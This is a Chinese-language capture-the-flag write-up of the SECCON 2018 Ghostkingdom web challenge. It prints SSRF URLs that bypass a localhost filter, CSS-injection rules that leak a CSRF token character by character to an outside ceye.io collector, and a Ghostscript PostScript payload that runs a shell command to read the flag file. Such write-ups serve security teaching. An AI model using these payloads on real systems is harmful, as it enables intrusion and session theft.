题解

首先通过注册,登陆平台后,发现有如下三个功能:

1

  • Message to admin http://ghostkingdom.pwn.seccon.jp/?action=msgadm

    通过这个功能,可以给管理员发送信息。发送信息的模式有两种:普通和紧急。

    1
    2
    3
    两种模式下发送信息为test时,URL如下:
    普通:?css=&msg=test&action=msgadm2
    紧急:?css=c3BhbntiYWNrZ3JvdW5kLWNvbG9yOnJlZDtjb2xvcjp5ZWxsb3d9&msg=test&action=msgadm2

    css参数的值是经过base64加密的,解密出来实际上是: span{background-color:red;color:yellow} 而且这个css是我们可以控制的,例如我们修改成: span{background-color:red;color:blue} 然后再经过base64加密后访问,得到效果如下:

    2

  • Take a screenshot http://ghostkingdom.pwn.seccon.jp/?action=sshot

    这个功能的话,服务器会访问用户输入的URL,并返回目标网站的页面截图。但是禁止访问内网,禁用了关键字:127, ::1, local ,但是我们还是可以通过: 0.0.0.0、0x7F000001 、2130706433 来访问内网。

    3

  • Upload image

    这个功能只能是内网登陆的用户才能使用,可以将静态图片转成 gif 格式。

那么现在的思路就是如何利用前两个功能,使我们以内网用户的身份,用上 Upload image 功能。我们来观察一下所有操作的URL,会发现大部分操作都是通过 GET 请求来实现的。

1
2
3
4
5
6
7
8
9
10
11
注册
http://ghostkingdom.pwn.seccon.jp/?user=demo66&pass1=123456&pass2=123456&action=register2

登陆
http://ghostkingdom.pwn.seccon.jp/?user=demo66&pass=123456&action=login

Message to admin
http://ghostkingdom.pwn.seccon.jp/?css=c3BhbntiYWNrZ3JvdW5kLWNvbG9yOnJlZDtjb2xvcjp5ZWxsb3d9&msg=test&action=msgadm2

Take a screenshot
http://ghostkingdom.pwn.seccon.jp/?url=http://www.baidu.com&action=sshot2

如果是这样的话,我们就可以利用 Take a screenshot 提供的功能,进行 SSRF 攻击,从内网访问这些接口。例如我通过内网注册并登陆一个demo2333用户,可以看到此时 Upload image 功能是可以使用的。(下面的 2130706433127.0.0.1 的十进制形式)

1
2
3
4
注册
http://ghostkingdom.pwn.seccon.jp/?url=http://2130706433/?user=demo2333&pass1=123456&pass2=123456&action=register2
登陆
http://ghostkingdom.pwn.seccon.jp/?url=http%3A%2F%2F2130706433%2F%3Fuser%3Ddemo2333%26pass%3D123456%26action%3Dlogin&action=sshot2

4

但是此时没有办法具体使用 Upload image 功能,因为上面只是一个截图,所以我们考虑通过 Message to admin 功能,获得内网用户的 cookie 。我们仔细观察 Message to admin 功能源码,会发现其中 input 标签中有一个 hiddencsrf 值和用户的 cookie 值一样。

5

此时我们的思路就是通过 SSRF 内网进行 Message to admin 操作,通过注入CSS代码窃取内网用户的CSRF token值。关于使用css选择器进行敏感信息窃取,可以参考:Reading Data via CSS Injection 。我们可以使用结合 ceye.io 平台进行数据获取,具体payload如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
input[name="csrf"][value^="0"] { background : url(http://xxxxxxx.ceye.io/0)}
input[name="csrf"][value^="1"] { background : url(http://xxxxxxx.ceye.io/1)}
input[name="csrf"][value^="2"] { background : url(http://xxxxxxx.ceye.io/2)}
input[name="csrf"][value^="3"] { background : url(http://xxxxxxx.ceye.io/3)}
input[name="csrf"][value^="4"] { background : url(http://xxxxxxx.ceye.io/4)}
input[name="csrf"][value^="5"] { background : url(http://xxxxxxx.ceye.io/5)}
input[name="csrf"][value^="6"] { background : url(http://xxxxxxx.ceye.io/6)}
input[name="csrf"][value^="7"] { background : url(http://xxxxxxx.ceye.io/7)}
input[name="csrf"][value^="8"] { background : url(http://xxxxxxx.ceye.io/8)}
input[name="csrf"][value^="9"] { background : url(http://xxxxxxx.ceye.io/9)}
input[name="csrf"][value^="a"] { background : url(http://xxxxxxx.ceye.io/a)}
input[name="csrf"][value^="b"] { background : url(http://xxxxxxx.ceye.io/b)}
input[name="csrf"][value^="c"] { background : url(http://xxxxxxx.ceye.io/c)}
input[name="csrf"][value^="d"] { background : url(http://xxxxxxx.ceye.io/d)}
input[name="csrf"][value^="e"] { background : url(http://xxxxxxx.ceye.io/e)}
input[name="csrf"][value^="f"] { background : url(http://xxxxxxx.ceye.io/f)}

将上面的payload经过base64编码,并拼接成内网URL,然后使用SSRF进行访问。最后我们使用爆破出来的cookie登录内网,即可以使用 Upload image 功能。

6

当我们上传图片马,并将其转换成 gif 格式时,会出现如下错误:

1
convert: negative or zero image size `/var/www/html/images/c9acc2eb8c6ed9314f2de96e1f2dd6cc.jpg' @ error/gif.c/ReadGIFImage/1372. convert: no images defined `/var/www/html/images/c9acc2eb8c6ed9314f2de96e1f2dd6cc.gif' @ error/convert.c/ConvertImageCommand/3046.

通过搜索,会发现这是 ImageMagick 的报错。观察请求链接,如下:

1
http://ghostkingdom.pwn.seccon.jp/ghostMagick.cgi?action=convert

再次搜索 ghostMagick ,发现 ghostscript ,其在今年有爆出一个命令执行的漏洞,具体可以参考:漏洞预警 | Ghostscript存在多个漏洞 可导致远程代码执行 。所以我们直接使用下面构造好的payload即可。

1
2
3
4
5
6
%!PS
userdict /setpagedevice undef
legal
{ null restore } stopped { pop } if
legal
mark /OutputFile (%pipe%$(cat /var/www/html/FLAG/FLAGflagF1A8.txt)) currentdevice putdeviceprops

7

8

参考

SECCON 2018 - Web Ghostkingdom / Shooter 题解

2018SECCON ghostkingdom

Reading Data via CSS Injection

漏洞预警 | Ghostscript存在多个漏洞 可导致远程代码执行